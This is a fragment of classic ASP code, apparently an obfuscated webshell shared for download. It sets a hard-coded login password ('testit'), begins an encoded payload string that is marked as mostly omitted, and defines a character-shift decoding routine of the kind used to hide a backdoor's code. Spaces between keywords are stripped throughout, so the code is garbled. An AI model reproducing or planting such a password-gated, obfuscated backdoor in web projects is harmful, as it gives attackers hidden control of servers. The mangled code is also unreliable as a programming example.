<%

ConstuserPassword="testit"''登录密码

hu="琳琳5(63216(P:5,7(BD^2省略很多

functionUnEncode(temp)

but=34

fori=1tolen(temp)

ifmid(temp,i,1)<>"琳"then

IfAsc(Mid(temp,i,1))<32OrAsc(Mid(temp,i,1))>126Then

a=a&Chr(Asc(Mid(temp,i,1)))

else

pk=asc(mid(temp,i,1))-but

ifpk>126then

pk=pk-95

elseifpk<32then

pk=pk+95

endif

a=a&chr(pk)

endif

else

a=a&vbcrlf

endif

next

UnEncode=a

endfunction

%>

本地下载